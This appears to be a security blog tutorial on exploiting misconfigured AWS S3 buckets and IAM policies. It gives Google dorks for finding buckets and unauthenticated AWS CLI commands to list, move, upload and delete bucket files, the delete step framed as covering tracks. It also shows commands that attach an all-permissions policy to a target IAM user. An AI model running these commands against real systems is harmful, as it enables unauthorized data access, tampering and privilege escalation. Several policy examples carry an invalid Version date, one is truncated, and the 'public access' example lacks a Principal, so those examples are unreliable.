1. Cracking the Cloud: Public or misconfigured S3 Buckets, what I excited and Security Oopsies.
Amazon offers something called blob storage. We can store unstructured data in S3 buckets. They’re simple, scalable, and reliable — until they’re not. The last thing your company needs is a headline that reads, “Company X Leaks Customer Data Due to Misconfigured S3 Bucket.”
That’s basically what happens when an Amazon S3 bucket is misconfigured. From SEGA’s data spills to airline embarrassments, the history of S3 bucket breaches is as colorful as it is concerning.
2. Various attack methods are performed in the cloud computing environment.
3. OWASP Top 10 Cloud security risks
Let’s discuss CNAS-1: Improper Permissions Set on Public Cloud Storage Buckets. This is a common issue in cloud environments, particularly with AWS.
3.1 Permission Slip: Wildcard Pitfall
Using wildcard characters (*) in your AWS S3 bucket policies is like handing over a blank check to anyone. This gives hackers an easy way to access everything in your bucket. Here’s an example:
{
"Version": "2024-12-03",
"Statement": [
{
"Effect": "Allow",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::my-bucket/*"
}
]
}While this might look harmless, it allows anyone to access your bucket’s objects. To fix this, specify permissions and avoid using * in resource fields.
3.2 IAM Facepalm: Over-Permissioned Access
Misconfigured IAM policies can grant users excessive permissions. Imagine giving employees full access to your AWS environment just to let them update a simple file. Here’s an example of a bad IAM policy:
{
"Version": "2024-12-03",
"Statement": [
{
"Effect": "Allow",
"Action": "s3:*",
"Resource": "arn:aws:s3:::my-bucket/*"
}
]
}This policy gives full access to everything in the bucket, which is risky. Instead, apply the principle of least privilege:
{
"Version": "2024-12-03",
"Statement": [
{
"Effect": "Allow",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::my-bucket/specific-file.txt"
}
]
}4.S3 Enumeration — AWS Pentesting
I like PWNED labs for the AWS pen testing. However, major spills happen when setting up the privileges.
4.1 Find S3 buckets: Advanced Google Hacking.
use “inurl” to search for URLs related to the target S3 buckets.
inurl:s3.amazonaws.com
inurl:s3.amazonaws.com/audio/
inurl:s3.amazonaws.com/video/
inurl:s3.amazonaws.com/backup/
inurl:s3.amazonaws.com/<companyname/specific target>/“I prefer having the company name in the URL, and you’ll understand why when you see it in action.”
4.2 Find S3 buckets: S3scanner
With S3scanner, you can either target specific S3 buckets or use a common name list to identify publicly accessible S3 buckets online.
However, when you try to access the bucket link, you may encounter an “Access Denied” message.
5. Exploiting Public or Vulnerable S3 Buckets — AWS Pentesting
There are two ways to do this: sneak in with your login details or just stroll in without any ID.
We can use the AWS CLI for the job. The secret sauce? The — no-sign-request flag.
aws s3 ls s3://<bucketname > --no-sign-requestThink of this flag as your all-access pass to peek into buckets without needing to sign in, like getting into a party that lets anyone walk in without checking their invite. It’s like accessing a poorly secured FTP server that doesn’t care who you are.
Here, we’re snooping around the S3 bucket without needing to log in.
Misconfigured Privileges vs Properly Configured Privileges:
When privileges are misconfigured, access is too broad, allowing unauthorized users to gain entry and potentially misuse data. On the other hand, properly configured privileges ensure that only authorized individuals have access, keeping data secure and protected.
“I’m not showing you anymore… that’s my bucket, not a public exhibit!”
Once you’ve identified an S3 bucket that is misconfigured and publicly accessible, there are various ways to exploit this vulnerability to gain unauthorized access or manipulate the stored data. Below are some methods to interact with the files in these buckets:
5.1.Reading Files: To list and view the contents of a bucket without authentication, use:
aws s3 ls s3://[bucket_name] --no-sign-request5.2.Moving Files: If you wish to move or rename a file within the bucket, you can use:
aws s3 mv FileName s3://[bucket_name]/test-file.txt --no-sign-request5.3.Copying Files: To copy a file from your local system to the vulnerable S3 bucket, use:
aws s3 cp FileName s3://[bucket_name]/test-file.svg --no-sign-request5.4.Deleting Files: To remove files from the bucket, potentially covering your tracks or disrupting services, use:
aws s3 rm s3://[bucket_name]/test-file.svg --no-sign-request6. Escalate IAM User Privileges by Exploiting Misconfigured User Policy
Customer-managed policies are standalone policies that you administer in your AWS account. Let's create custom-managed polices for permissions and then attach the policies to the identities (users, groups, and roles) in your AWS account. If the user policies are not configured properly, they can be exploited by attackers to gain full administrator access to the target user’s AWS account.( only for internal-pen testing)
{
"Version": "2024-12-03",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]save this file as user-policy.json.
Note: This is an AdministratorAccess policy that gives the administrator access to the target IAM user.
The created user policy is displayed, showing various details such as PolicyName, PolicyId, and Arn.
aws iam create-policy --policy-name user-policy --policy-document file://user-policy.json
Attach the created policy (user policy) to the target IAM user’s account.
aws iam attach-user-policy --user-name [Target Username] --policy-arn arn:aws:iam::[Account ID]:policy/user-policyView the attached policies of the target user
aws iam list-attached-user-policies --user-name [Target Username]
Now that you have successfully escalated the privileges of the target IAM user account, you can list all the IAM users in the AWS environment.
aws iam list-users
Comentários